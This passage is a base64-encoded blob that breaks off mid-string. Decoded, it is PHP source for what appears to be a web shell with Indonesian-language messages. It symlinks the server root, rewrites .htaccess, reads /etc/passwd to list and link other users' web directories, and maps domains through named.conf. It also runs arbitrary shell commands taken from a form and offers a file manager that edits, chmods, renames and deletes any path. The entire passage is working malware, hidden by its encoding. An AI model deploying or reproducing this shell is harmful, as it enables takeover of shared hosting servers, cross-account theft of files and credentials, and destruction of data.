0KZWNobyAiPHRyIGFsaWduPWNlbnRlcj48dGQ+PGZvbnQgc2l6ZT0yPiIgLiAkZGNvdW50IC4gIjwvZm9udD48L3RkPg0KPHRkIGFsaWduPWxlZnQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbWFpbnNbMV1bMF0uIi8+PGZvbnQgY2xhc3M9dHh0PiIuJGRvbWFpbnNbMV1bMF0uIjwvZm9udD48L2E+PC90ZD4NCjx0ZD4iLiR1c2VyWyduYW1lJ10uIjwvdGQ+DQo8dGQ+PGEgaHJlZj0nJGZ1bGwvazB2M1Rfc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbCcgdGFyZ2V0PSdfYmxhbmsnPjxmb250IGNsYXNzPXR4dD5TeW1saW5rPC9mb250PjwvYT48L3RkPjwvdHI+IjsNCmZsdXNoKCk7DQokZGNvdW50Kys7fX19DQplY2hvICI8L3RhYmxlPiI7DQp9ZWxzZXsNCiRURVNUPUBmaWxlKCcvZXRjL3Bhc3N3ZCcpOw0KaWYgKCRURVNUKXsNCkBta2RpcigiazB2M1Rfc3ltIiwwNzc3KTsNCkBjaGRpcigiazB2M1Rfc3ltIik7DQpleGUoImxuIC1zIC8gcm9vdCIpOw0KJGZpbGUzID0gJ09wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcw0KRGlyZWN0b3J5SW5kZXggazB2M1QuaHRtDQpBZGRUeXBlIHRleHQvcGxhaW4gLnBocA0KQWRkSGFuZGxlciB0ZXh0L3BsYWluIC5waHANClNhdGlzZnkgQW55JzsNCiAkZnAzID0gZm9wZW4oJy5odGFjY2VzcycsJ3cnKTsNCiAkZnczID0gZndyaXRlKCRmcDMsJGZpbGUzKTsNCiBAZmNsb3NlKCRmcDMpOw0KIGVjaG8gIg0KIDx0YWJsZSBhbGlnbj1jZW50ZXIgYm9yZGVyPTE+PHRyPg0KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlMuIE5vLjwvZm9udD48L3RkPg0KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlVzZXJzPC9mb250PjwvdGQ+DQogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTM+U3ltbGluazwvZm9udD48L3RkPjwvdHI+IjsNCiAkZGNvdW50ID0gMTsNCiAkZmlsZSA9IGZvcGVuKCIvZXRjL3Bhc3N3ZCIsICJyIikgb3IgZXhpdCgiVW5hYmxlIHRvIG9wZW4gZmlsZSEiKTsNCiB3aGlsZSghZmVvZigkZmlsZSkpew0KICRzID0gZmdldHMoJGZpbGUpOw0KICRtYXRjaGVzID0gYXJyYXkoKTsNCiAkdCA9IHByZWdfbWF0Y2goJy9cLyguKj8pXDpcLy9zJywgJHMsICRtYXRjaGVzKTsNCiAkbWF0Y2hlcyA9IHN0cl9yZXBsYWNlKCJob21lLyIsIiIsJG1hdGNoZXNbMV0pOw0KIGlmKHN0cmxlbigkbWF0Y2hlcykgPiAxMiB8fCBzdHJsZW4oJG1hdGNoZXMpID09IDAgfHwgJG1hdGNoZXMgPT0gImJpbiIgfHwgJG1hdGNoZXMgPT0gImV0Yy9YMTEvZnMiIHx8ICRtYXRjaGVzID09ICJ2YXIvbGliL25mcyIgfHwgJG1hdGNoZXMgPT0gInZhci9hcnB3YXRjaCIgfHwgJG1hdGNoZXMgPT0gInZhci9nb3BoZXIiIHx8ICRtYXRjaGVzID09ICJzYmluIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2FkbSIgfHwgJG1hdGNoZXMgPT0gInVzci9nYW1lcyIgfHwgJG1hdGNoZXMgPT0gInZhci9mdHAiIHx8ICRtYXRjaGVzID09ICJldGMvbnRwIiB8fCAkbWF0Y2hlcyA9PSAidmFyL3d3dyIgfHwgJG1hdGNoZXMgPT0gInZhci9uYW1lZCIpDQogY29udGludWU7DQogZWNobyAiPHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0yPiIgLiAkZGNvdW50IC4gIjwvdGQ+DQogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBjbGFzcz10eHQ+IiAuICRtYXRjaGVzIC4gIjwvdGQ+IjsNCiBlY2hvICI8dGQgYWxpZ249Y2VudGVyPjxmb250IGNsYXNzPXR4dD48YSBocmVmPSRmdWxsL2swdjNUX3N5bS9yb290L2hvbWUvIiAuICRtYXRjaGVzIC4gIi9wdWJsaWNfaHRtbCB0YXJnZXQ9J19ibGFuayc+U3ltbGluazwvYT48L3RkPjwvdHI+IjsNCiAkZGNvdW50Kys7fWZjbG9zZSgkZmlsZSk7DQogZWNobyAiPC90YWJsZT4iO31lbHNle2lmKCRvcyAhPSAiV2luZG93cyIpe0Bta2RpcigiazB2M1Rfc3ltIiwwNzc3KTtAY2hkaXIoImswdjNUX3N5bSIpO0BleGUoImxuIC1zIC8gcm9vdCIpOyRmaWxlMyA9ICcNCiBPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MNCkRpcmVjdG9yeUluZGV4IGswdjNULmh0bQ0KQWRkVHlwZSB0ZXh0L3BsYWluIC5waHANCkFkZEhhbmRsZXIgdGV4dC9wbGFpbiAucGhwDQpTYXRpc2Z5IEFueQ0KJzsNCiAkZnAzID0gZm9wZW4oJy5odGFjY2VzcycsJ3cnKTsNCiAkZnczID0gZndyaXRlKCRmcDMsJGZpbGUzKTtAZmNsb3NlKCRmcDMpOw0KIGVjaG8gIg0KIDxkaXYgY2xhc3M9J215Ym94Jz48aDIgY2xhc3M9J2sybGwzM2QyJz5zZXJ2ZXIgc3ltbGlua2VyPC9oMj4NCiA8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xPjx0cj4NCiA8dGQgYWxpZ249Y2VudGVyPjxmb250IHNpemU9Mz5JRDwvZm9udD48L3RkPg0KIDx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgc2l6ZT0zPlVzZXJzPC9mb250PjwvdGQ+DQogPHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTM+U3ltbGluazwvZm9udD48L3RkPjwvdHI+IjsNCiAkdGVtcCA9ICIiOyR2YWwxID0gMDskdmFsMiA9IDEwMDA7DQogZm9yKDskdmFsMSA8PSAkdmFsMjskdmFsMSsrKSB7JHVpZCA9IEBwb3NpeF9nZXRwd3VpZCgkdmFsMSk7DQogaWYgKCR1aWQpJHRlbXAgLj0gam9pbignOicsJHVpZCkuIlxuIjt9DQogZWNobyAnPGJyLz4nOyR0ZW1wID0gdHJpbSgkdGVtcCk7JGZpbGU1ID0NCiBmb3BlbigidGVzdC50eHQiLCJ3Iik7DQogZnB1dHMoJGZpbGU1LCR0ZW1wKTsNCiBmY2xvc2UoJGZpbGU1KTskZGNvdW50ID0gMTskZmlsZSA9DQogZm9wZW4oInRlc3QudHh0IiwgInIiKSBvciBleGl0KCJVbmFibGUgdG8gb3BlbiBmaWxlISIpOw0KIHdoaWxlKCFmZW9mKCRmaWxlKSl7JHMgPSBmZ2V0cygkZmlsZSk7JG1hdGNoZXMgPSBhcnJheSgpOw0KICR0ID0gcHJlZ19tYXRjaCgnL1wvKC4qPylcOlwvL3MnLCAkcywgJG1hdGNoZXMpOyRtYXRjaGVzID0gc3RyX3JlcGxhY2UoImhvbWUvIiwiIiwkbWF0Y2hlc1sxXSk7DQogaWYoc3RybGVuKCRtYXRjaGVzKSA+IDEyIHx8IHN0cmxlbigkbWF0Y2hlcykgPT0gMCB8fCAkbWF0Y2hlcyA9PSAiYmluIiB8fCAkbWF0Y2hlcyA9PSAiZXRjL1gxMS9mcyIgfHwgJG1hdGNoZXMgPT0gInZhci9saWIvbmZzIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2FycHdhdGNoIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2dvcGhlciIgfHwgJG1hdGNoZXMgPT0gInNiaW4iIHx8ICRtYXRjaGVzID09ICJ2YXIvYWRtIiB8fCAkbWF0Y2hlcyA9PSAidXNyL2dhbWVzIiB8fCAkbWF0Y2hlcyA9PSAidmFyL2Z0cCIgfHwgJG1hdGNoZXMgPT0gImV0Yy9udHAiIHx8ICRtYXRjaGVzID09ICJ2YXIvd3d3IiB8fCAkbWF0Y2hlcyA9PSAidmFyL25hbWVkIikNCiBjb250aW51ZTsNCiBlY2hvICI8dHI+PHRkIGFsaWduPWNlbnRlcj48Zm9udCBzaXplPTI+IiAuICRkY291bnQgLiAiPC90ZD4NCiA8dGQgYWxpZ249Y2VudGVyPjxmb250IGNsYXNzPXR4dD4iIC4gJG1hdGNoZXMgLiAiPC90ZD4iOw0KIGVjaG8gIjx0ZCBhbGlnbj1jZW50ZXI+PGZvbnQgY2xhc3M9dHh0PjxhIGhyZWY9JGZ1bGwvazB2M1Rfc3ltL3Jvb3QvaG9tZS8iIC4gJG1hdGNoZXMgLiAiL3B1YmxpY19odG1sIHRhcmdldD0nX2JsYW5rJz5TeW1saW5rPC9hPjwvdGQ+PC90cj4iOw0KICRkY291bnQrKzt9DQogZmNsb3NlKCRmaWxlKTsNCiBlY2hvICI8L3RhYmxlPjwvZGl2PjwvY2VudGVyPiI7dW5saW5rKCJ0ZXN0LnR4dCIpOw0KIH0gZWxzZQ0KIGVjaG8gIjxjZW50ZXI+PGZvbnQgc2l6ZT0zPkNhbm5vdCBjcmVhdGUgU3ltbGluazwvZm9udD48L2NlbnRlcj4iOw0KIH0NCiB9DQojI0pVTVBJTkcgDQp9IGVsc2VpZigkX0dFVFsnYSddID09ICdqdW1waW5nJykgew0KICAgICRpID0gMDsNCiAgICBlY2hvICI8cHJlPjxkaXYgY2xhc3M9J21hcmdpbjogNXB4IGF1dG87Jz4iOw0KICAgICRldGMgPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCAiciIpIG9yIGRpZSgiPGZvbnQgY29sb3I9cmVkPkNhbid0IHJlYWQgL2V0Yy9wYXNzd2Q8L2ZvbnQ+Iik7DQogICAgd2hpbGUoJHBhc3N3ZCA9IGZnZXRzKCRldGMpKSB7DQppZigkcGFzc3dkID09ICcnIHx8ICEkZXRjKSB7DQogICAgZWNobyAiPGZvbnQgY29sb3I9cmVkPkNhbid0IHJlYWQgL2V0Yy9wYXNzd2Q8L2ZvbnQ+IjsNCn0gZWxzZSB7DQogICAgcHJlZ19tYXRjaF9hbGwoJy8oLio/KTp4Oi8nLCAkcGFzc3dkLCAkdXNlcl9qdW1waW5nKTsNCiAgICBmb3JlYWNoKCR1c2VyX2p1bXBpbmdbMV0gYXMgJHVzZXJfaWR4X2p1bXApIHsNCiAgICAgICAgJHVzZXJfanVtcGluZ19kaXIgPSAiL2hvbWUvJHVzZXJfaWR4X2p1bXAvcHVibGljX2h0bWwiOw0KICAgICAgICBpZihpc19yZWFkYWJsZSgkdXNlcl9qdW1waW5nX2RpcikpIHsNCiAgICAgICAgICAgICRpKys7DQogICAgICAgICAgICAkanJ3ID0gIls8Zm9udCBjb2xvcj0jNWRkY2ZjPlI8L2ZvbnQ+XSA8YSBocmVmPSc/ZGlyPSR1c2VyX2p1bXBpbmdfZGlyJz48Zm9udCBjb2xvcj1yZWQ+JHVzZXJfanVtcGluZ19kaXI8L2ZvbnQ+PC9hPiI7DQogICAgICAgICAgICBpZihpc193cml0YWJsZSgkdXNlcl9qdW1waW5nX2RpcikpIHsNCiAgICAgICAgICAgICAgICAkanJ3ID0gIls8Zm9udCBjb2xvcj0jNWRkY2ZjPlJXPC9mb250Pl0gPGEgaHJlZj0nP2Rpcj0kdXNlcl9qdW1waW5nX2Rpcic+PGZvbnQgY29sb3I9IzVkZGNmYz4kdXNlcl9qdW1waW5nX2RpcjwvZm9udD48L2E+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gJGpydzsNCiAgICAgICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgew0KICAgICAgICAgICAgICAgICRkb21haW5fanVtcCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL25hbWVkLmNvbmYiKTsgICANCiAgICAgICAgICAgICAgICBpZigkZG9tYWluX2p1bXAgPT0gJycpIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiID0+ICggPGZvbnQgY29sb3I9cmVkPmdhZ2FsIG1lbmdhbWJpbCBuYW1hIGRvbWFpbiBueWE8L2ZvbnQ+ICk8YnI+IjsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICBwcmVnX21hdGNoX2FsbCgiIy92YXIvbmFtZWQvKC4qPykuZGIjIiwgJGRvbWFpbl9qdW1wLCAkZG9tYWluc19qdW1wKTsNCiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkZG9tYWluc19qdW1wWzFdIGFzICRkaikgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHVzZXJfanVtcGluZ191cmwgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyRkaiIpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICR1c2VyX2p1bXBpbmdfdXJsID0gJHVzZXJfanVtcGluZ191cmxbJ25hbWUnXTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR1c2VyX2p1bXBpbmdfdXJsID09ICR1c2VyX2lkeF9qdW1wKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiID0+ICggPHU+JGRqPC91PiApPGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gIjxicj4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KfQ0KICAgIH0NCiAgICBpZigkaSA9PSAwKSB7DQogICAgfSBlbHNlIHsNCmVjaG8gIjxicj5Ub3RhbCBhZGEgIi4kaS4iIEthbWFyIGRpICIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLiIiOw0KICAgIA0KICAgIGVjaG8gIjwvZGl2PjwvcHJlPiI7DQoJCX0NCg0KDQoNCi8vQ09ORklHDQoNCn0gZWxzZWlmKCRfR0VUWydhJ10gPT0gJ2NtZCcpIHsNCgllY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCTxmb250IHN0eWxlPSd0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsnPiIuJHVzZXIuIkAiLiRpcC4iOiB+ICQgPC9mb250Pg0KCTxpbnB1dCB0eXBlPSd0ZXh0JyBzaXplPSczMCcgaGVpZ2h0PScxMCcgbmFtZT0nY21kJz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdkb19jbWQnIHZhbHVlPSc+Pic+DQoJPC9mb3JtPiI7DQoJaWYoJF9QT1NUWydkb19jbWQnXSkgew0KCQllY2hvICI8cHJlPiIuZXhlKCRfUE9TVFsnY21kJ10pLiI8L3ByZT4iOw0KCX0NCg0KLy9TVEFSVA0KfSBlbHNlaWYoaXNzZXQoJF9HRVRbJ2ZpbGVzcmMnXSkpew0KZWNobyAiPHRyPjx0ZD5DdXJyZW50IEZpbGUgOiAiOw0KZWNobyAkX0dFVFsnZmlsZXNyYyddOw0KZWNobyAnPC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCmVjaG8oJyA8Y2VudGVyPjx0ZXh0YXJlYSBzdHlsZT0id2lkdGg6ODAlO2hlaWdodDo1MCU7IiByZWFkb25seT4gJy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfR0VUWydmaWxlc3JjJ10pKS4nPC90ZXh0YXJlYT48L2NlbnRlcj4nKTsNCn1lbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddICE9ICdkZWxldGUnKXsNCmVjaG8gJzwvdGFibGU+PGJyIC8+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsNCmlmKCRfUE9TVFsnb3B0J10gPT0gJ2NobW9kJyl7DQppZihpc3NldCgkX1BPU1RbJ3Blcm0nXSkpew0KaWYoY2htb2QoJF9QT1NUWydwYXRoJ10sJF9QT1NUWydwZXJtJ10pKXsNCmVjaG8gJzxmb250IGNvbG9yPSIjNWRkY2ZjIj5HYW50aSAgUGVybWlzc2lvbiBCZXJoYXNpbCBHYW48L2ZvbnQ+PGJyIC8+JzsNCn1lbHNlew0KZWNobyAnPGZvbnQgY29sb3I9IlJFRCI+R2FudGkgUGVybWlzc2lvbiBHYWdhbCBHYW48L2ZvbnQ+PGJyIC8+JzsNCn0NCn0NCmVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQpQZXJtaXNzaW9uIDogPGlucHV0IG5hbWU9InBlcm0iIHR5cGU9InRleHQiIHNpemU9IjQiIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3BhdGgnXSkpLCAtNCkuJyIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iY2htb2QiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNobW9kIiAvPg0KPC9mb3JtPic7DQp9ZWxzZWlmKCRfUE9TVFsnb3B0J10gPT0gJ3JlbmFtZScpew0KaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCmlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCmVjaG8gJzxmb250IGNvbG9yPSIjNWRkY2ZjIj5HYW50aSBOYW1hIEJlcmhhc2lsIEdhbjwvZm9udD48YnIgLz4nOw0KfWVsc2V7DQplY2hvICc8Zm9udCBjb2xvcj0iUkVEIj5HYW50aSBOYW1hIEdhZ2FsIEdhbjwvZm9udD48YnIgLz4nOw0KfQ0KJF9QT1NUWyduYW1lJ10gPSAkX1BPU1RbJ25ld25hbWUnXTsNCn0NCmVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQpOYW1hIEJhcnUgOiA8aW5wdXQgbmFtZT0ibmV3bmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIHZhbHVlPSInLiRfUE9TVFsnbmFtZSddLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVWJhaCBOYW1hIiAvPg0KPC9mb3JtPic7DQp9ZWxzZWlmKCRfUE9TVFsnb3B0J10gPT0gJ2VkaXQnKXsNCmlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsNCiRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7DQppZihmd3JpdGUoJGZwLCRfUE9TVFsnc3JjJ10pKXsNCmVjaG8gJzxmb250IGNvbG9yPSIjNWRkY2ZjIj5FZGl0IEZpbGUgQmVyaGFzaWwgR2FuPC9mb250PjxiciAvPic7DQp9ZWxzZXsNCmVjaG8gJzxmb250IGNvbG9yPSJSRUQiPkVkaXQgRmlsZSBHYWdhbCBHYW48L2ZvbnQ+PGJyIC8+JzsNCn0NCmZjbG9zZSgkZnApOw0KfQ0KZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4NCjx0ZXh0YXJlYSBjb2xzPTE0MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVkaXQgRmlsZSIgLz4NCjwvZm9ybT4nOw0KfQ0KZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPic7DQppZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2Rpcicpew0KaWYocm1kaXIoJF9QT1NUWydwYXRoJ10pKXsNCmVjaG8gJzxmb250IGNvbG9yPSIjNWRkY2ZjIj5IYXB1cyBEaXIgQmVyaGFzaWwgR2FuPC9mb250PjxiciAvPic7DQp9ZWxzZXsNCmVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkhhcHVzIERpciBHYWdhbCBHYW48L2ZvbnQ+PGJyIC8+JzsNCn0NCn1lbHNlaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsNCmlmKHVubGluaygkX1BPU1RbJ3BhdGgnXSkpew0KZWNobyAnPGZvbnQgY29sb3I9IiM1ZGRjZmMiPkhhcHVzIEZpbGUgQmVyaGFzaWwgR2FuPC9mb250PjxiciAvPic7DQp9ZWxzZXsNCmVjaG8gJzxmb250IGNvbG9yPSIjcmVkIj5IYXB1cyBGaWxlIEdhZ2FsIEdhbjwvZm9udD48YnIgLz4nOw0KfQ0KfQ0KfQ0KCQkNCmVjaG8gJzwvY2VudGVyPic7DQokc2NhbmRpciA9IHNjYW5kaXIoJHBhdGgpOw0KZWNobyAnPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSI3MDBweCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iNCIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPg0KPHRyIGNsYXNzPSJmaXJzdCI+DQo8Yj48dGQ+PGNlbnRlcj48Zm9udCBjb2xvcj1ibGFjayBzaXplPTM+TmFtZTwvZm9udD48L2NlbnRlcj48L3RkPjwvYj4NCjxiPjx0ZD48Y2VudGVyPjxmb250IGNvbG9yPWJsYWNrIHNpemU9Mz5TaXplPC9mb250PjwvY2VudGVyPjwvdGQ+PC9iPg0KPGI+PHRkPjxjZW50ZXI+PGZvbnQgY29sb3I9YmxhY2sgc2l6ZT0zPlBlcm1pc3Npb25zPC9mb250PjwvY2VudGVyPjwvdGQ+PC9iPg0KPGI+PHRkPjxjZW50ZXI+PGZvbnQgY29sb3I9YmxhY2sgc2l6ZT0zPk9wdGlvbnM8L2ZvbnQ+PC9jZW50ZXI+PC90ZD48L2I+DQo8L3RyPic7DQoNCmZvcmVhY2goJHNjYW5kaXIgYXMgJGRpcil7DQppZighaXNfZGlyKCIkcGF0aC8kZGlyIikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsNCmVjaG8gIjx0ZCBjbGFzcz0ndGRfaG9tZSc+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxSMGxHT0RsaEV3QVFBTE1BQUFBQUFQLy8vNXljQU03T1kvLy9uUC8venYvT25QZjM5Ly8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4iQUFBQUFDSDVCQUVBQUFnQUxBQUFBQUFUQUJBQUFBUlJFTWxKcTcwNDZ5cDZCeHNpSEVWQkVBS1lDVVByRHA3SGxYUmRFb01xQ2VicCIuIi80WWNoZmZ6R1FoSDRZUllQQjJET2xIUGlLd3FkMVBxOHlyVlZnM1FZZUg1UllLNXJKZmFGVVVBM3ZCNGZCSUJBRHM9Jz4NCjxhIGhyZWY9XCI/cGF0aD0kcGF0aC8kZGlyXCI+PGZvbnQgY29sb3I9cmVkPiRkaXI8L2ZvbnQ+PC9hPjwvdGQ+DQo8dGQ+PGNlbnRlcj48Zm9udCBjb2xvcj1yZWQ+RGlyZWN0b3J5PC9mb250PjwvY2VudGVyPjwvdGQ+DQo8dGQ+PGNlbnRlcj4iOw0KCQ0KaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9IiM1ZGRjZmMiPic7DQplbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQplY2hvIHBlcm1zKCIkcGF0aC8kZGlyIik7DQppZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2ZvbnQ+JzsNCg0KZWNobyAiPC9jZW50ZXI+PC90ZD4NCjx0ZD48Y2VudGVyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIiBhY3Rpb249XCI/b3B0aW9uJnBhdGg9JHBhdGhcIj4NCjxzZWxlY3QgbmFtZT1cIm9wdFwiPg0KPG9wdGlvbiB2YWx1ZT1cIlNlbGVjdFwiPlNlbGVjdDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT1cImRlbGV0ZVwiPkRlbGV0ZTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT1cImNobW9kXCI+Q2htb2Q8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9XCJyZW5hbWVcIj5SZW5hbWU8L29wdGlvbj4NCjwvc2VsZWN0Pg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwiZGlyXCI+DQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJuYW1lXCIgdmFsdWU9XCIkZGlyXCI+DQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIkcGF0aC8kZGlyXCI+DQo8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiPlwiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+PC90ZD4NCjwvdHI+IjsNCn0NCmVjaG8gJzx0ciBjbGFzcz0iZmlyc3QiPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjx0ZD48L3RkPjwvdHI+JzsNCmZvcmVhY2goJHNjYW5kaXIgYXMgJGZpbGUpew0KaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0Ow0KJHNpemUgPSByb3VuZCgkc2l6ZSwzKTsNCmlmKCRzaXplID49IDEwMjQpew0KJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KfWVsc2V7DQokc2l6ZSA9ICRzaXplLicgS0InOw0KfQ0KDQplY2hvICI8dHI+DQo8dGQ+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFBWE5TUjBJQXJzNGM2UUFBQUFaaVMwZEVBUDhBL3dEL29MMm5rd0FBQUFsd1NGbHpBQUFMRXdBQUN4TUJBSnFjR0FBQUFBZDBTVTFGQjlvSkJoY1RKdjJCMmQ0QUFBSk1TVVJCVkRqTGJaTzlUaHhaRUlXL3FsdmR0TTM4Qk5nSlFtUWdKR2QrQS9NUUJMd0dqaXdIM253ZGtTTHRPMnhFUkc1THF4WFJTSVIyWURmRDRHa0dNMFAzcmI0YjlQQXowbDdwU2xXbFcwZm5uTG9sQUlQQjRQWGg0ZUZ1bnVjQUlJTHdkRVNlWnlBaWZucDYrdTlvTkxvM2dNM056VGRIUisvL3p2Sk16U3lKS0tvZGlJZzhBWGF4ZUl6MWJEWjdNeHFOZnRnU1VSRFd5N0xVblowZFlteEFGQVZFbEk2QUVDeWdJc1FRc2l6TEJPQUJBRE9qS0FwcWg3dTdHb0NVV2l3WWJldG9VSHJyUGN3Q3FvRjJLVWVYTHpFekJ2MCt1UW1TSE1FWjlGNlNaY3I2aTRJc0JPYS9iN0hRTWFIdElBd2dMZEhhbERBMWV2MGVRYlNqckVyUXdKcHFGNGVBeC9ob3FEMTMybU1rSnJpNXVTT2xGaEVocFVRSWlvandhbU9ETnNsamZVV0NxcExuT2FhQ1NLSnRuYUJDc1pZakFsbG1YSTR2YWVvYVZYMGNiU2RobVVSM3pBS3ZOalk2VmlvbzB0V3pnRW9uS2JXK0trR1d0M1VudDBDZUdmSnM5ZytVVTByRUdISC9Idy9Nakg2L1QrUE9kRm9STktDaE0yMnhtT1Blc3BqUEdRNkhwTlEyN3Q2c0FDRFNOYW55b2xqRExFZFZhRk9MZThaa1VqSzV1a3EzdDc5bFBDNy9PRGs1R2ErWTZPNU1xeW1OdzNWMXkzaHl6ZlgwaHF2Skx5YlhGZCsrZjJkM2QwZG1zK3F2ZzRPRHo4Zkh4MC9Mc2JlMzk2NHNTNys0dUVqdW5wcW1TZTZlM0QzTjUvTjBXWmJ0bHk5ZjA5bloyWi9iMjl2MmZMRWV2dks5cXY3YzJ0b0tpOFVpa